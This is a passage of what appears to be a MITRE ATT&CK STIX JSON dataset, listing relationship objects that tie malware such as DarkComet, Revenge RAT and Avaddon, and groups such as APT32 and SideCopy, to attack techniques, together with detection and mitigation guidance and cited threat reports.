"relationship--1d1d1803-49a0-45b8-b41f-6df17f430423", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d1eaec4-ceeb-4fda-b177-f92fad7d3e44", "type": "relationship", "created": "2019-01-29T19:18:28.720Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2020-03-18T15:59:09.392Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) can execute various types of scripts on the victim\u2019s machine.(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1d2111ce-5034-472a-89a7-1818d11280fb", "created": "2022-08-07T14:09:13.284Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SideCopy](https://attack.mitre.org/groups/G1008) has delivered trojanized executables via spearphishing emails that contacts actor-controlled servers to download malicious payloads.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.277Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1d2ee595-1972-46ac-bd85-322bdc5e35de", "created": "2022-09-27T18:05:50.016Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T18:05:50.016Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [Mimikatz](https://attack.mitre.org/software/S0002) to dump certificates and private keys from the Windows certificate store.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d2ef75d-4e35-40cf-b543-096d551bd02c", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d3296a5-9a15-4bd9-a294-ee014348136c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}], "modified": "2020-03-16T19:50:03.223Z", "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim usernames.(Citation: Forcepoint Monsoon)", "relationship_type": "uses", "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d362b9d-300d-4081-bd42-ca57c892a331", "type": "relationship", "created": "2021-03-31T14:26:00.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-12T18:22:05.885Z", "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "source_name": "FireEye APT32 May 2017"}], "modified": "2020-03-17T15:50:42.900Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) compromised McAfee ePO to move laterally by distributing malware as a software deployment task.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Savill 1999", "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-01T04:34:30.861Z", "description": "The <code>net start</code> command can be used in [Net](https://attack.mitre.org/software/S0039) to find information about Windows services.(Citation: Savill 1999)", "relationship_type": "uses", "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d37f088-123f-41bb-9367-a1696dbfe895", "type": "relationship", "created": "2019-01-30T17:48:35.714Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "modified": "2021-06-16T15:50:05.276Z", "description": "[zwShell](https://attack.mitre.org/software/S0350) has used RDP for lateral movement.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d3892ec-dccb-4ba2-b82c-2c7fcafbdd00", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-20T02:18:04.005Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d3c31c2-6756-483a-8aee-736bac591c1a", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint ZeroT Feb 2017", "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}], "modified": "2020-03-21T00:42:09.900Z", "description": "[ZeroT](https://attack.mitre.org/software/S0230) can add a new service to ensure [PlugX](https://attack.mitre.org/software/S0013) persists on the system when delivered as another payload onto the system.(Citation: Proofpoint ZeroT Feb 2017)", "relationship_type": "uses", "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d47e8c0-9f0d-41d1-a889-609025b42298", "type": "relationship", "created": "2021-08-23T19:38:33.347Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-10-18T20:36:35.471Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) checks for specific keyboard layouts and OS languages to avoid targeting Commonwealth of Independent States (CIS) entities.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d50b715-96a2-4fd6-bf92-603ad90730fd", "type": "relationship", "created": "2019-07-19T14:30:22.479Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-20T16:31:11.674Z", "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d523cb7-5725-40d8-9a21-ef119c6fa43f", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor for API calls that may employ various time-based methods to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}], "modified": "2020-03-17T16:17:38.048Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) contains a cleanup module that removes traces of itself from the victim.(Citation: Symantec Dragonfly)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1d552cb4-8c29-47dd-8c06-012d3f4d6ff5", "created": "2022-03-30T14:26:51.875Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "modified": "2022-04-14T16:47:12.111Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d56986b-e6fd-4624-87b4-5e0dd9f05c2f", "type": "relationship", "created": "2020-08-13T16:51:23.635Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Hancitor", "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}], "modified": "2020-09-02T19:29:12.611Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used malicious Microsoft Word documents, sent via email, which prompted the victim to enable macros.(Citation: FireEye Hancitor)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d57f09c-0797-431b-b2f2-7a240df97e96", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b", "type": "relationship", "created": "2017-05-31T21:33:27.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.428Z", "description": "(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d65c2d6-6f59-40e4-af56-83ad4d9efea8", "type": "relationship", "created": "2019-05-02T01:07:36.957Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}, {"description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/", "source_name": "Cofense RevengeRAT Feb 2019"}], "modified": "2020-03-16T17:43:04.989Z", "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for keylogging.(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)", "relationship_type": "uses", "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1d6eb87c-6ed9-4432-a51c-b0ef70190120", "created": "2022-10-13T14:49:41.591Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T14:49:41.591Z", "description": "[PcShare](https://attack.mitre.org/software/S1050) can obtain a list of running processes on a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "tool--3a53b207-aba2-4a2b-9cdb-273d633669e7", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1d7661c8-82cf-481c-89e4-927eedaffc22", "created": "2022-06-16T15:21:17.403Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Accenture Lyceum Targets November 2021", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns", "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Shark](https://attack.mitre.org/software/S1019) can query `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography MachineGuid` to retrieve the machine GUID.(Citation: Accenture Lyceum Targets November 2021)", "modified": "2022-06-16T15:21:17.403Z", "relationship_type": "uses", "source_ref": "malware--99854cc8-f202-4e03-aa0a-4f8a4af93229", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d79747d-3ff5-44ab-ae40-80823347c7d7", "type": "relationship", "created": "2020-01-14T17:21:54.547Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-14T17:21:54.547Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d7e1954-b020-4578-9a57-b1596a7a25ff", "type": "relationship", "created": "2019-05-24T17:57:36.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/", "source_name": "Cyber Forensicator Silence Jan 2019"}], "modified": "2020-03-28T21:29:58.245Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has used scheduled tasks to stage its operation.(Citation: Cyber Forensicator Silence Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d82c2f3-0bca-49a0-b731-296a436eb003", "type": "relationship", "created": "2019-01-30T15:19:15.009Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/", "source_name": "Unit42 Azorult Nov 2018"}], "modified": "2019-07-26T23:22:28.375Z", "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the username from the victim\u2019s machine.(Citation: Unit42 Azorult Nov 2018)", "relationship_type": "uses", "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1d87dc81-d091-4c30-be81-1c741f722296", "created": "2022-07-14T12:40:51.248Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Hiding Malicious Code with Module Stomping", "description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.", "url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T20:57:59.003Z", "description": "Monitor for process memory inconsistencies compared to DLL files on disk by checking memory ranges against a known copy of the legitimate module.(Citation: Hiding Malicious Code with Module Stomping)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1d8d3beb-eb0c-4c5d-b813-913e790fc773", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor for newly executed processes that are associated with abuse of IPC mechanisms", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1d8fedc7-e139-4806-9904-3cc2bf8b9334", "created": "2020-11-25T22:46:47.503Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Dragos Crashoverride 2018", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and 